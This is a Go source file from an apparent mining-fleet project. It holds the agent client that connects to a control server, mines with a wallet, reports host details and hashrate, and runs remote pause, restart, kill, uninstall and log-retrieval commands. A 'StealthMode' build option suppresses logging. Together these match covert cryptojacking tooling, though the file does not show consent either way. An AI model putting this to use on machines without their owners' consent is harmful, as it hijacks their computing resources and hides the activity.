Files
AetherForge/agent/client/client.go
drjones df81eb7744 Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
2026-05-27 09:16:04 -07:00

390 lines
8.7 KiB
Go

package client
import (
"encoding/json"
"fmt"
"log"
"net/url"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
type AgentClient struct {
cfg config.RuntimeConfig
conn *websocket.Conn
pool *miner.Pool
reporter *stats.Reporter
startTime time.Time
aiRunner *AIRunner
mu sync.Mutex
agentID string
sharesSubmitted int
sharesAccepted int
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
return &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
startTime: time.Now(),
agentID: cfg.AgentID,
}
}
func (c *AgentClient) Run() error {
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
defer c.pool.Stop()
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
c.aiRunner.Start()
defer c.aiRunner.Stop()
}
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
for {
start := time.Now()
if err := c.connectLoop(); err != nil {
log.Printf("[agent] disconnected: %v", err)
}
if time.Since(start) > 10*time.Second {
backoff = 5 * time.Second
}
time.Sleep(backoff)
backoff += 5 * time.Second
if backoff > maxBackoff {
backoff = maxBackoff
}
}
}
func (c *AgentClient) connectLoop() error {
wsURL, err := buildWSURL(c.cfg.ServerURL)
if err != nil {
return err
}
log.Printf("[agent] connecting to %s", wsURL)
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
return err
}
c.conn = conn
defer conn.Close()
if err := c.authenticate(); err != nil {
return err
}
statsStop := make(chan struct{})
go c.statsLoop(statsStop)
defer close(statsStop)
for {
conn.SetReadDeadline(time.Now().Add(90 * time.Second))
_, data, err := conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
c.handleMessage(msg)
}
}
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
payload, _ := json.Marshal(AuthPayload{
AgentID: c.agentID,
Wallet: c.cfg.Wallet,
Version: config.Version,
Hostname: host,
CPUCores: cores,
MemoryGB: memGB,
Worker: c.cfg.WorkerName,
PoolHost: c.cfg.PoolHost,
PoolPort: c.cfg.PoolPort,
PoolTLS: c.cfg.PoolTLS,
PoolPass: c.cfg.PoolPass,
AIEnabled: c.cfg.AIEnabled,
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
AIModel: c.cfg.AIModel,
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
}
_, data, err := c.conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
return err
}
if msg.Type != "auth_response" {
return fmt.Errorf("unexpected message: %s", msg.Type)
}
var resp AuthResponse
if err := json.Unmarshal(msg.Payload, &resp); err != nil {
return err
}
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID)
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
}
func (c *AgentClient) handleMessage(msg Message) {
switch msg.Type {
case "new_job":
var j job.Job
if err := json.Unmarshal(msg.Payload, &j); err != nil {
log.Printf("[agent] bad job payload: %v", err)
return
}
if j.Blob == "" {
return
}
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
c.pool.SetJob(&j)
case "share_result":
var result ShareResult
if err := json.Unmarshal(msg.Payload, &result); err != nil {
return
}
if result.Accepted {
c.mu.Lock()
c.sharesAccepted++
c.mu.Unlock()
}
case "command":
var cmd struct {
Action string `json:"action"`
TailLines int `json:"tail_lines"`
}
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
return
}
c.handleCommand(cmd.Action, cmd.TailLines)
}
}
func (c *AgentClient) handleCommand(action string, tailLines int) {
switch action {
case "pause":
c.pool.PauseRemote()
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.sendCommandResult(action, true, "mining resumed")
case "restart":
c.sendCommandResult(action, true, "restarting")
go c.restartSelf()
case "stop", "kill":
c.sendCommandResult(action, true, "stopping")
go c.stopSelf()
case "uninstall":
c.sendCommandResult(action, true, "uninstalling")
go func() {
time.Sleep(500 * time.Millisecond)
if err := deploy.Uninstall(c.cfg); err != nil {
log.Printf("[agent] remote uninstall failed: %v", err)
}
}()
case "get_log":
content, err := readLogTail(c.cfg, tailLines)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
payload, _ := json.Marshal(map[string]interface{}{
"content": content,
"lines": tailLines,
})
_ = c.write(Message{Type: "log_tail", Payload: payload})
default:
c.sendCommandResult(action, false, "unknown action")
}
}
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
payload, _ := json.Marshal(map[string]interface{}{
"action": action,
"success": success,
"message": message,
})
_ = c.write(Message{Type: "command_result", Payload: payload})
}
func (c *AgentClient) stopSelf() {
time.Sleep(300 * time.Millisecond)
c.pool.Stop()
os.Exit(0)
}
func (c *AgentClient) restartSelf() {
time.Sleep(300 * time.Millisecond)
exe, err := os.Executable()
if err != nil {
return
}
cmd := exec.Command(exe, "--run")
cmd.Dir = filepath.Dir(exe)
_ = cmd.Start()
os.Exit(0)
}
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
if !cfg.FileLogging || cfg.StealthMode {
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
}
if tailLines <= 0 {
tailLines = 200
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
logPath := filepath.Join(installDir, "miner.log")
data, err := os.ReadFile(logPath)
if err != nil {
if os.IsNotExist(err) {
return "", fmt.Errorf("miner.log not found")
}
return "", err
}
lines := strings.Split(string(data), "\n")
if len(lines) > tailLines {
lines = lines[len(lines)-tailLines:]
}
return strings.Join(lines, "\n"), nil
}
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
c.mu.Lock()
c.sharesSubmitted++
c.mu.Unlock()
payload, _ := json.Marshal(SharePayload{
JobID: jobID,
Nonce: nonce,
Hash: hash,
Worker: c.cfg.WorkerName,
})
_ = c.write(Message{Type: "submit_share", Payload: payload})
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
var samples []float64
for {
select {
case <-stop:
return
case <-ticker.C:
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
samples = append(samples, hps)
if len(samples) > 90 {
samples = samples[len(samples)-90:]
}
var avg15s, avg1m, avg15m float64
if len(samples) > 0 {
avg15s = samples[len(samples)-1]
}
if len(samples) >= 6 {
for _, v := range samples[len(samples)-6:] {
avg1m += v
}
avg1m /= 6
} else {
avg1m = avg15s
}
for _, v := range samples {
avg15m += v
}
avg15m /= float64(len(samples))
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
payload, _ := json.Marshal(StatsPayload{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
Hashrate15m: avg15m,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
})
_ = c.write(Message{Type: "stats", Payload: payload})
}
}
}
func (c *AgentClient) write(msg Message) error {
c.mu.Lock()
defer c.mu.Unlock()
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
}
func buildWSURL(serverURL string) (string, error) {
u, err := url.Parse(strings.TrimSpace(serverURL))
if err != nil {
return "", err
}
switch u.Scheme {
case "https":
u.Scheme = "wss"
case "http", "":
u.Scheme = "ws"
case "wss", "ws":
default:
return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
}
if u.Scheme == "" {
u.Scheme = "ws"
}
u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
u.RawQuery = ""
u.Fragment = ""
return u.String(), nil
}